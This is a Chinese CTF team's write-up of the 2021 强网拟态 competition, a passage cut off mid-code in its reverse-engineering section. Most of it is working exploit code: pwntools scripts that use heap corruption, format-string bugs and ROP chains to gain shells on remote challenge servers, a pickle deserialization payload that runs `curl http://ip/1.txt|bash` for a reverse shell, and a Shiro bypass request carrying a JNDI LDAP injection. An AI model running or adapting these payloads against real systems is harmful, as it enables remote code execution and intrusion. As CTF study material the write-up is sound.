xp0int Posted on Nov 20 2021 2021 强网拟态 Writeup By Xp0int ## 1. PWN ### 1.1 bitflip 首先利用 bitflip 将一个堆块的大小改大: 0x21 -> 0x10021 然后通过 scanf 构造它的 fake nextchunk: ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c633ab644142c0e51b58) 释放堆块到 unsorted bin ,形成 overlapping chunk。接下来改 tcache chunk fd 为 system,释放 /bin/sh 堆块即可 get shell 。 ``` #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") libc = ELF("./libc-2.27.so") p = remote("124.71.130.185", 49153) p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) libc_symp = lambda x : p64(libc.symbols[x]) def add(idx, sz): p_sl(1, ":") p_sl(idx, ":") p_sl(sz, ":") def edit(idx, sz): p_sl(2, ":") p_sl(idx, ":") p_sl(sz, ":") def free(idx): p_sl(4, ":") p_sl(idx, ":") def show(idx): p_sl(3, ":") p_sl(idx, ":") def flip(addr): p_sl(0x666, ":") p_sl(addr, ":") for i in range(7): add(i, 0x10) free(1) free(2) add(2, 0x10) add(1, 0x10) show("3"*0x10000) for i in range(8): show("1"*(0x10000-0xc0-i)) show(2) p.recvuntil("Content: ") heap = u64(p.recv(6).ljust(8, b'\x00')) - 0x280 info("heapbase: 0x%lx", libc.address) flip(heap + 0x258+2) free(0) free(3) free(2) add(0, 0x48) show(0) p.recvuntil("Content: ") libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ec420 info("libcbase: 0x%lx", libc.address) edit(0, b'\x00'*0x38+p64(0x21)+libc_symp("__free_hook")) add(2, 0x10) add(3, 0x10) edit(3, libc_symp("system")) edit(2, b"/bin/sh\x00") free(2) p.interactive() ``` FLAG:`flag{2296341872d87bd532c121d14d55c4ac}` ### 1.2 old_school_revenge 常规的off by null ,直接用old_school 的payload去打即可 ``` from pwn import * context(os='linux', arch='amd64',log_level='debug') #p=process("./old_school_revenge") p =remote("123.60.63.39", 49153) #elf=ELF("") #libc=ELF("./libc-2.27.so") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) def new(idx,size): sla("Your choice: ",'1') sla(": ",str(idx)) sla(": ",str(size)) def edit(idx,content): sla("Your choice: ",'2') sla(": ",str(idx)) sla(": ",content) def show(idx): sla("Your choice: ",'3') sla(": ",str(idx)) def remove(idx): sla("Your choice: ",'4') sla(": ",str(idx)) for i in range(7): new(i,0xf0) new(7,0xf0) new(8,0x78) new(9,0xf0) new(10,0x10) for i in range(8): remove(i) edit(8,'\x00'*0x70+p64(0x100+0x80)) remove(9) for i in range(8): new(i,0xf0) show(8) ru("Content: ") libc_base=u64(rc(6).ljust(8,'\x00'))-0x3ebca0 info_addr("libc_base",libc_base) free_hook=libc_base+0x3ed8e8 system_addr=libc_base+0x04f550 new(11,0x78) remove(11) edit(8,p64(free_hook)) new(11,0x78) edit(11,"/bin/sh\x00") new(12,0x78) edit(12,p64(system_addr)) remove(11) p.interactive() ``` FLAG: `flag{chz1IrUaAgSELXLciMeRB2XMeWQVZAKl}` ### 1.3 old_school 常规的off by one,版本是2.27 ``` from pwn import * context(os='linux', arch='amd64',log_level='debug') #p=process("./old_school") p =remote("121.36.194.21", 49153) #elf=ELF("") #libc=ELF("./libc-2.27.so") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) def new(idx,size): sla("Your choice: ",'1') sla(": ",str(idx)) sla(": ",str(size)) def edit(idx,content): sla("Your choice: ",'2') sla(": ",str(idx)) sla(": ",content) def show(idx): sla("Your choice: ",'3') sla(": ",str(idx)) def remove(idx): sla("Your choice: ",'4') sla(": ",str(idx)) for i in range(7): new(i,0xf0) new(7,0xf0) new(8,0x78) new(9,0xf0) new(10,0x10) for i in range(8): remove(i) edit(8,'\x00'*0x70+p64(0x100+0x80)+'\x00') remove(9) for i in range(8): new(i,0xf0) show(8) ru("Content: ") libc_base=u64(rc(6).ljust(8,'\x00'))-0x3ebca0 info_addr("libc_base",libc_base) free_hook=libc_base+0x3ed8e8 system_addr=libc_base+0x04f550 new(11,0x78) remove(11) edit(8,p64(free_hook)) new(11,0x78) edit(11,"/bin/sh\x00") new(12,0x78) edit(12,p64(system_addr)) remove(11) p.interactive() ``` flag: `flag{m0lWJAzDB1vzxMn9PlMQXkPvEmGAdZzB}` ### 1.4 random_heap malloc chunk 的大小是随机的,free 的时候未清空指针,造成UAF,泄露堆地址之后,需要利用UAF劫持 tcache 在 堆上的结构体(需要分配足够多的chunk才能成功),对分配出来的chunk都写入p64(0)*4+"\xff"*3,然后将分配出来的chunk都free掉,足够幸运的话,tcache在堆上的结构体所在的堆块已经进入了tcache,利用tcache上的结构体,劫持free_hook 即可。 ``` from pwn import * context(os='linux', arch='amd64') # ,log_level='debug' #p=process("./random_heap") p =remote("124.71.140.198", 49155) #elf=ELF("") libc=ELF("./libc-2.27.so") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) def debug(): gdb.attach(p) p.interactive() def debug_pause(): gdb.attach(p) pause() def new(idx,size): sla("Your choice: ",'1') sla(": ",str(idx)) sla(": ",str(size)) def edit(idx,content): sla("Your choice: ",'2') sla(": ",str(idx)) sla(": ",content) def show(idx): sla("Your choice: ",'3') sla(": ",str(idx)) def remove(idx): sla("Your choice: ",'4') sla(": ",str(idx)) new(0,0x50) remove(0) edit(0,'a'*0x10) remove(0) show(0) ru("Content: ") heap_addr = u64(rc(6).ljust(8,'\x00'))-0x260 info_addr("heap_addr",heap_addr) edit(0,p64(heap_addr)) payload = p64(0)*4+'\xff'*3 for i in range(1,40): new(i,0x50) edit(i,payload) idx = 0 for i in range(1,40): remove(i) show(i) ru("Content: ") libc_base = u64(p.recvuntil("\x7f",timeout = 0.5)[-6:].ljust(8,'\x00')) if libc_base: idx = i libc_base = libc_base - 0x3ebca0 break if idx: info_addr("libc_base",libc_base) free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] info_addr("free_hook",free_hook) info_addr("system_addr",system_addr) new(1,0x50) edit(1,"/bin/sh\x00") edit(0,'a'*0x10) remove(0) edit(0,p64(free_hook)) for i in range(2,30): new(i,0x50) edit(i,p64(system_addr)) remove(1) p.interactive() p.close() #debug() ``` flag值:```flag{bdcef975ec2589f3e58d105d06587798}``` ### 1.5 bornote 2.31 off by null 可以泄露heap基址,直接在堆上构造fakechunk 即可 ``` from pwn import * context(os='linux', arch='amd64',log_level='debug') #p=process("./bornote") p =remote("121.36.250.162", 49153) #elf=ELF("") #libc=ELF("./libc-2.27.so") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) def debug(): gdb.attach(p) p.interactive() def debug_pause(): gdb.attach(p) pause() def new(size): sla(": ",'1') sla(": ",str(size)) def edit(idx,content): sla(": ",'3') sla(": ",str(idx)) sa(": ",content) def show(idx): sla(": ",'4') sla(": ",str(idx)) def remove(idx): sla(": ",'2') sla(": ",str(idx)) sla("username",'clark') new(0x430) # 0 new(0x10) # 1 new(0x10) # 2 remove(0) remove(1) remove(2) new(0x430) show(0) ru("Note: ") libc_base = u64(rc(6).ljust(8,'\x00')) - 0x1ebbe0 info_addr("libc_base",libc_base) free_hook = libc_base + 0x1eeb28 system = libc_base + 0x055410 new(0x10) show(1) ru("Note: ") heap_offset = u64(rc(6).ljust(8,'\x00')) heap_addr = ((heap_offset) & -0xfff) - 0x160 - 0x011ea0 info_addr("heap_addr",heap_addr) info_addr("heap_offset",heap_offset) edit(1,'/bin/sh\x00\n') new(0x4f0) # 2 new(0x38) # 3 new(0x4f0) # 4 edit(2,'\x00'*0x20 + p64(heap_offset + 0x80 )*4 + p64(0)+p64(0x4f0)+p64(heap_offset + 0x60 )*2+'\n') edit(3,'\x00'*0x30+p64(0x4f0)) remove(4) new(0x4a0) #4 new(0x38) #5 same to 3 new(0x38) #6 remove(6) remove(3) edit(5,p64(free_hook)+'\n') new(0x38) new(0x38) edit(6,p64(system)+'\n') remove(1) #debug() p.interactive() ``` flag值:```flag{d483f651c1cbcad9a7bb87d04d498ea7}``` ### 1.6 pwnpwn 格式化字符串泄露canary ,栈溢出劫持程序流执行system("/bin/sh") ,构造rop的链的时候需要调整栈帧,否则getshell的时候会crash ``` from pwn import * context(os='linux', arch='amd64',log_level='debug') #context.aslr = False #context.terminal =['tmux', 'splitw', '-h'] p=remote("124.71.156.217",49153) #p=process("./pwnpwn") #elf=ELF("") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) def debug(): gdb.attach(p) p.interactive() def debug_pause(): gdb.attach(p) pause() # b *$rebase(0x9D7) # b *$rebase(0x9F6) sla("welcome to mimic world,try something",'1') ru("0x") code_base = int(rc(12),16) - 0x9B9 info_addr("code_base",code_base) #debug_pause() sl("2") sla("hello","%p_%21$p") ru("0x") bin_sh_addr = int(rc(12),16) info_addr("bin_sh_addr",bin_sh_addr) ru("0x") canary = int(rc(16),16) info_addr("canary",canary) pop_rdi = 0xb83 + code_base system_addr = code_base + 0x951 ret = code_base + 0x7d9 #debug() payload = "/bin/sh\x00"+0x60*'\x00'+p64(canary)+p64(0)+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret)*8+p64(system_addr) #payload = 0x68*'\x00'+p64(canary)+p64(0)+p64(target) sl(payload) p.interactive() ``` flag值:```flag{63YGBWA1c0pfPrLqhQPiiGJCOl7JWMD9}``` ### 1.7 sonic 简单栈溢出,利用程序给出的codebase,构造rop链getshell ``` from pwn import * context(os='linux', arch='amd64',log_level='debug') #context.aslr = False #context.terminal =['tmux', 'splitw', '-h'] p=remote("123.60.63.90",6888) #p=process("./sonic") #elf=ELF("") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) def debug(): gdb.attach(p) p.interactive() def debug_pause(): gdb.attach(p) pause() # b *$rebase(0x7CD) #debug_pause() ru("main Address=0x") code_base = int(rc(12),16) - 0x7CF info_addr("code_base",code_base) pop_rdi = code_base + 0x8c3 pop_rsi = code_base + 0x8c1 bin_sh_addr = code_base + 0x201040 execv = code_base + 0x847 payload = "/bin/sh\x00" payload = payload.ljust(0x28,'a') payload += p64(pop_rdi)+p64(bin_sh_addr)+p64(pop_rsi)+p64(0)*2+p64(execv)+'\n' sleep(1) #ru("login:") sl(payload) p.interactive() ``` ### 1.8 oldecho 首先有一个大坑:远程程序的启动方式是 ./ld-linux-x86-64.so.2 ./oldecho,所以远程环境的栈布局跟其他启动方式的不同。 主要思路是利用栈上残留的 rbp 链,利用格式化字符串修改栈上的指针、实现任意地址写。 首先需要抬高栈空间,使 printf 可以接触到残留在栈上的 stdout 指针:先修改栈空间高处附近的一个程序地址为 code+0xE14(需要爆破12bit),然后修改 saved_rbp 指向这个地方,利用leave 劫持 rsp。 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c76fab644142b4b4c76b) 然后修改栈上 stdout 指针指向 stdout->fd,修改为 2,恢复回显。 最后泄露 libc地址和s1地址,在 s1 构建 ROP 链,最后修改 saved_rbp 到 s1,利用 leave 劫持 rsp 到 ROP 链读 flag 即可。 ``` #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") libc_os = lambda x : libc.address + x p = None STOP = 0 def main(): global p, STOP p = remote("123.60.32.152", 49154) libc = ELF("./libc.so.6") p.recvuntil("Gift: ") sta = int(p.recvline().replace(b'\n', b''), 16) info("stack: 0x%lx", sta) ptr = sta + 0x30 ptr2 = sta + 0x60 f_ptr = sta - 0x130 init_ptr = f_ptr + 8 rbp_ptr = sta - 0x18 p.recvuntil("please use it.\n") def fmt(v, ptr): if v & 0xff == 0: p.sendline("%" + str(ptr) + "$hhn") else: p.sendline('%' + str(v & 0xff) + 'c' + "%" + str(ptr) + "$hhn") fmt(ptr+1, 6) fmt(init_ptr >>8, 10) fmt(ptr, 6) fmt(init_ptr, 10) fmt(0x14, 15) fmt(init_ptr+1, 10) fmt(0xe, 15) fmt(init_ptr, 10) fmt(ptr+1, 6) fmt(rbp_ptr >>8, 10) fmt(ptr, 6) fmt(rbp_ptr, 10) fmt(ptr2+1, 6) fmt((rbp_ptr+1) >>8, 10) fmt(ptr2, 6) fmt(rbp_ptr+1, 10) fmt(f_ptr, 15) fmt(f_ptr>>8, 21) p.sendline("Bye~") stdout_ptr = sta - 0xa8 rbp_ptr = sta - 0x130 fmt(stdout_ptr, 15) fmt(0x90, 41) fmt(2, 23) p.sendline("XXX-%20$p--%18$p-") s = p.recvuntil("X-", timeout=3) if len(s) == 0: raise Exception("BAD") libc.address = int(p.recvuntil("--"), 16) - 0x1ebbe0 buf = int(p.recvuntil("-"), 16) - 4 info("libcbase: 0x%lx", libc.address) info("buf: 0x%lx", buf) buf += 8 for i in range(8): v = buf >> (8*i) fmt(rbp_ptr+i, 15) fmt(v, 41) rax_0 = libc_os(0x8b945) rax_1 = libc_os(0xabff0) rax_2 = libc_os(0xac000) syscall = libc_os(0xbc3f5) rdi = libc_os(0x21112) rsi = libc_os(0x202f8) rdx = libc_os(0x1b92) rop = flat([ rdi, buf, rsi, 0, rax_2, syscall, rsi, buf+0x100, rdx, 0x100, libc_os(0xd21b2), rax_0, syscall, rsi, buf+0x100, rdi, 2, rax_1, syscall ]) p.sendline(b"Bye~AAAA"+b"/flag\x00\x00\x00"+rop) p.recv() STOP=1 p.interactive() while not STOP: try: main() except KeyboardInterrupt: break except: if p: p.close() continue ``` FLAG: flag{NpfH6fzHStuKl2CRfvheXWyKO3Bz60F5} ## 2. WEB ### 2.1 ezPickle 题目直接给了源码 app.py ``` from flask import Flask, request, session, render_template_string, url_for,redirect import pickle import io import sys import base64 import random import subprocess from config import notadmin app = Flask(__name__) class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def index(): info = request.args.get('name', '') if info is not '': x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello') if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000) ``` config.py ``` notadmin={"admin":"no"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) eval(s) ``` 审计源码可知是python+pickle反序列化,使用RestrictedUnpickler进行限制,只能反序列化config模块下的对象,然后进入backdoor函数执行命令,但config下的notadmin要满足{"admin":"yes"}的要求才能执行命令。所以具体思路就是手搓opcode,反序列化config下的notadmin进行变量覆盖,绕过notadmin检查,进而进入backdoor执行命令。exp.py如下 ``` import pickle import config import app import base64 data= b'''cconfig notadmin (S'admin' S'yes' u0(cconfig backdoor (S'__import__("posix").system("curl http://ip/1.txt|bash")' lo.''' info=base64.b64encode(data) print(info) #/?name=Y2NvbmZpZwpub3RhZG1pbgooUydhZG1pbicKUyd5ZXMnCnUwKGNjb25maWcKYmFja2Rvb3IKKFMnX19pbXBvcnRfXygicG9zaXgiKS5zeXN0ZW0oImN1cmwgaHR0cDovLzEyMS41LjIzOC41Mi8xLnR4dHxiYXNoIiknCmxvLg== ``` 注意题目无回显,于是用curl http://ip/1.txt|bash进行反弹shell,nc监听得flag ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c7e6ab644142b4b4cd24) FLAG:flag{5tZhq4DRETNb77g0PfxNkzsmQizSI8jV} ### 2.2 Jack-Shiro 题目给了个pom.xml ``` <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.5.22.RELEASE</version> <relativePath/> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>ctf</artifactId> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <fork>true</fork> <mainClass>com.ctf.Application</mainClass> </configuration> <executions> <execution> <goals> <goal>repackage</goal> </goals> </execution> </executions> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.5.1</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.5.1</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-core</artifactId> <version>1.2.1</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies> </project> ``` 发现有shiro1.5.1,cc3.2.1,题目也叫Jack-Shiro,应该是shiro验证绕过访问路由通过jackson反序列化打cc链。(原题。。。 用post /;/json绕过json路由登录,可以直接在vps上用工具ysomap用cc8去打. ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c81dab644142b4b4cf5d) ``` POST /;/json HTTP/1.1 Host: 123.60.26.60:32766 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=2CA7B794A922C5B30ED0234D52D24A60 Connection: close Content-Type: application/json Content-Length: 97 ["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://ip:30661/Calc"}] ``` nc监听得flag ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c838ab644142b4b4cfe8) FLAG:flag{XZgw550JXoWU0EI1ATBsTtZFS0wyX1FM} ## 3. MOBILE ### 3.1 HaHaHaHa ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c87bab644142b4b4d29e) a.a每组取MD5哈希值是hmac_sha512的key a.b每字节异或0xab后影响每次进行什么hash算法,[4, 10, 15, 1, 14, 5, 11, 8],每次做 >> 3 & 1的操作,如果结果等于1则根据 & 7的结果选择不同的key做hmac_sha512,如果结果不等于1再根据 & 7的结果做md2、md5、sha1、sha224等操作 a.c是待比较的hash值 python爆破实在太慢了,爆出第一个sha256哈希值对应的4bytes是b'_8@P'后转用c+openssl ``` #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <openssl/evp.h> #include <openssl/hmac.h> #include <openssl/sha.h> #include <openssl/md5.h> int main() { OpenSSL_add_all_digests(); uint8_t md5_buf[17] = {0}; uint8_t md5_cmp[9] = {193, 26, 97, 187, 96, 215, 157, 171}; uint8_t sha384_buf[SHA384_DIGEST_LENGTH]; uint8_t sha384_cmp[9] = {242, 221, 165, 252, 2, 31, 226, 191}; // 爆破md5 // for(unsigned int i=0;i<0x80000000;i++){ // MD5((const unsigned char *)&i, 4, md5_buf); // if(!memcmp(md5_buf, md5_cmp, 8)){ // printf("0x%08X\n", i); // break; // } // } // 爆破sha384 // for(unsigned int i=0;i<0x80000000;i++){ // SHA384((const unsigned char *)&i, 4, sha384_buf); // if(!memcmp(sha384_buf, sha384_cmp, 8)){ // printf("0x%08X\n", i); // break; // } // } uint8_t b[8] = {4, 10, 15, 1, 14, 5, 11, 8}; uint8_t key[][16] = {{43, 240, 120, 50, 133, 59, 22, 208, 51, 159, 26, 67, 144, 12, 52, 129}, {53, 170, 174, 115, 34, 224, 227, 127, 59, 160, 251, 203, 37, 152, 26, 167}, {204, 184, 204, 43, 132, 172, 112, 24, 25, 183, 56, 37, 95, 81, 140, 45}, {102, 59, 119, 214, 124, 23, 160, 168, 212, 241, 42, 207, 53, 171, 162, 180}, {159, 58, 50, 39, 206, 139, 211, 132, 117, 207, 49, 115, 71, 135, 77, 17}, {192, 139, 161, 33, 131, 236, 171, 200, 153, 195, 149, 118, 117, 226, 140, 217}, {109, 51, 14, 239, 130, 59, 92, 116, 30, 55, 249, 120, 72, 136, 144, 177}, {158, 153, 197, 78, 157, 206, 167, 88, 206, 207, 13, 76, 193, 138, 12, 34}}; uint8_t cmp[][8] = {{252, 116, 102, 229, 95, 191, 55, 177}, {120, 176, 190, 57, 230, 59, 104, 55}, {194, 249, 200, 5, 208, 68, 34, 3}, {193, 26, 97, 187, 96, 215, 157, 171}, {134, 158, 101, 14, 229, 91, 217, 246}, {242, 221, 165, 252, 2, 31, 226, 191}, {48, 80, 68, 219, 72, 254, 97, 116}, {214, 101, 155, 94, 45, 16, 89, 248}}; uint8_t tmp, index; uint32_t val, md_len; unsigned char md_value[EVP_MAX_MD_SIZE] = ""; uint8_t flag = 0; for(int i=2;i<8;i++){ tmp = b[i] >> 3 & 1; if(tmp){ index = b[i] & 7; flag = 0; for(int a=32;a<=0x7f;a++){ for(int b=32;b<=0x7f;b++){ for(int c=32;c<=0x7f;c++){ for(int d=32;d<=0x7f;d++){ val = (d << 24) | (c << 16) | (b << 8) | a; const EVP_MD *md = EVP_get_digestbyname("SHA512"); HMAC_CTX *ctx; ctx = HMAC_CTX_new(); //HMAC_CTX_init(&ctx); HMAC_Init_ex(ctx, key[index], 16, EVP_sha512(), NULL); HMAC_Update(ctx, (const unsigned char *)&val, 4); HMAC_Final(ctx, md_value, &md_len); HMAC_CTX_free(ctx); if(!memcmp(md_value, cmp[i], 8)){ printf("%d: 0x%08X\n", i, val); flag = 1; break; } } if(flag){ break; } } if(flag){ break; } } if(flag){ break; } } } } return 0; } ``` 这里只截了hmac_sha512的结果 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c8a1ab644142b4b4d3d9) 爆破出8组明文后再实现apk中的后续处理得到flag ``` import codecs cmp = ["fc7466e55fbf37b1", "78b0be39e63b6837", "c2f9c805d0442203", "c11a61bb60d79dab", "869e650ee55bd9f6", "f2dda5fc021fe2bf", "305044db48fe6174", "d6659b5e2d1059f8"] cmp = [list(codecs.decode(_, 'hex')) for _ in cmp] res = [0] * len(cmp) res[0] = int.from_bytes(b'_8@P', 'little') res[1] = 0x485F3135 res[2] = 0x3131507D res[3] = 0x3540487B res[4] = 0x35355F43 res[5] = 0x334E3150 res[6] = 0x5F374833 res[7] = 0x464C4147 for i in range(len(b)): if b[i] >> 3 & 1 == 1: res[i] |= 0x80 # for i in res: # print(codecs.encode(i.to_bytes(4, 'little'), 'hex').decode().upper(), end=', ') for j in range(8): num = res[j] unhex_num = list(num.to_bytes(4, 'little')) v10 = 0 for i in range(len(unhex_num)): v10 = v10 << 1 | (unhex_num[i] & 0x80) >> 7 unhex_num[i] &= 0x7f if v10 >> 3 & 1 == 1: unhex_num = unhex_num[::-1] print(b[j] & 7, bytes(unhex_num).decode()) ``` ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c8c2ab644142b4b4d546) FLAG :FLAG{H@5H_15_7H3_8@PP1N355_C11P} ### 3.2 StudyDesk 直接用frida hook substring得到v2_2 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c8e3ab644142b4b4d68d) 然后根据这里可以还原出flag ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c8f5ab644142c0e53b51) ``` function main(){ Java.perform(function(){ var UtilsClass = Java.use('java.lang.Integer'); var StringClass = Java.use('java.lang.String'); UtilsClass.parseInt.overload('java.lang.String', 'int').implementation = function (a, b) { console.log(a, b) return this.parseInt(a, b); }; StringClass.substring.overload('int', 'int').implementation = function(a, b) { console.log(this); return this.substring(a,b); } }) } setImmediate(main); ``` 3141开头那一长串就是v2_2 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c90eab644142b4b4d8a3) ``` s = [0x73, 0x6F, 43, 0x72, 0x74, 45, 0x30, 36, 84, 98, 89, 36, 38, 66, 38, 43, 84, 0x79, 50, 101, 101, 43, 100, 87, 69, 0x6F, 51, 66, 89, 49, 69, 51, 101, 51, 53, 0x74, 45, 98, 98, 0x72, 50, 36, 98, 50, 85, 85, 85, 107, 66, 36, 53, 51, 0x6F, 0x72, 89, 89, 66, 50, 33, 66, 0x5F, 66, 101, 0x79, 0x5F, 0x40, 33, 66, 50, 0x40, 85, 85, 45, 43, 36, 50, 0x74, 0x30, 85, 0x73, 0x5F, 0x40, 49, 0x72, 50, 101, 101, 51, 51, 43, 53, 51, 53, 51, 85, 50, 0x40, 0x79, 53, 36, 0x40, 69, 89, 98, 45, 0x6F, 101, 36, 97, 66, 100, 0x30, 0x73, 97, 0x30, 36, 0x6F, 101, 50, 0x5F, 49, 0x30, 0x40, 89, 0x74, 85, 0x30, 85, 0x73, 89, 43, 89, 97, 0x30, 89, 0x72, 97, 100, 38, 50, 0x74, 51, 98, 0x75, 0x5F, 50, 0x74, 0x73, 0x6F, 84, 98, 89, 69, 0x6F, 100, 0x30, 0x6F, 98, 89, 0x72, 0x40, 50, 36, 66, 89, 101, 0x72, 51, 84, 51, 50, 36, 38, 0x40, 0x30, 53, 51, 0x30, 49, 97, 0x74, 89, 101, 85, 97, 66, 84, 97, 45, 43, 100, 89, 45, 0x30, 0x73, 0x30, 0x40, 97, 100, 98, 51, 100, 0x6F, 0x73, 50, 53, 101, 66, 101, 0x6F, 0x75, 50, 45, 0x5F, 51, 82, 50, 89, 87, 101, 50, 89, 0x30, 89, 101, 43, 89, 36, 38, 61, 101, 0x40, 84, 89, 0x5F, 66, 0x74, 49, 0x40, 87, 97, 43, 0x5F, 0x73, 43, 0x30, 89, 45, 84, 89, 33, 89, 107, 53, 85, 0x30, 98, 98, 0x5F, 50, 107, 66, 101, 0x6F, 51, 97, 33, 66, 97, 0x75, 51, 0x74, 51, 97, 0x40, 89, 107, 98, 51, 69, 0x40, 73, 0x5F, 0x30, 85, 0x74, 0x30, 97] set_s = list(set(s)) result = "314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593344612847564823378678316527120190914564856692346034861045432664821339360726024914127372458700660631558817488152092096282925409171536436789259036" raw_bin = "" for i in range(0, len(result), 2): # print(bin(int(result[i:i+2]))[2:]) raw_bin += bin(int(result[i:i+2]))[2:].rjust(8, '0') dic = {} if __name__ == "__main__": set_idx = set() cnt = 0 for i in range(0, len(raw_bin)-2, 5): pos = int(raw_bin[i:i+5], 2) if pos not in dic: dic[pos] = s[cnt] cnt += 1 for i in range(32): print(chr(dic[i]), end='') ``` FLAG :flag{23esaB-T@b1E_I5=Y0Ur+$tudy&WoRk!} ## 4. REVERSE ### 4.1 fastjs https://bbs.pediy.com/thread-259014.htm 看雪上有道类似的quickjs题,按照相同方法可以得到字节码的解析结果,试出来的quickjs版本是QuickJS-20210327 test_encode.js:89所在函数实现了base64 encode ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c940ab644142b4b4dad6) test_encode.js: 35所在函数根据2654435769、6、52猜测是xxtea ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c956ab644142c0e53fa4) ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c969ab644142c0e540ac) 大致逻辑就是输入先base64encode,xxtea加密后与05ae那一大段比较,其中key是"no_thing_is_true" ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c97bab644142b4b4dd36) ``` #define MX ((z>>5^y<<2) + (y>>3^z<<4) ^ (sum^y) + 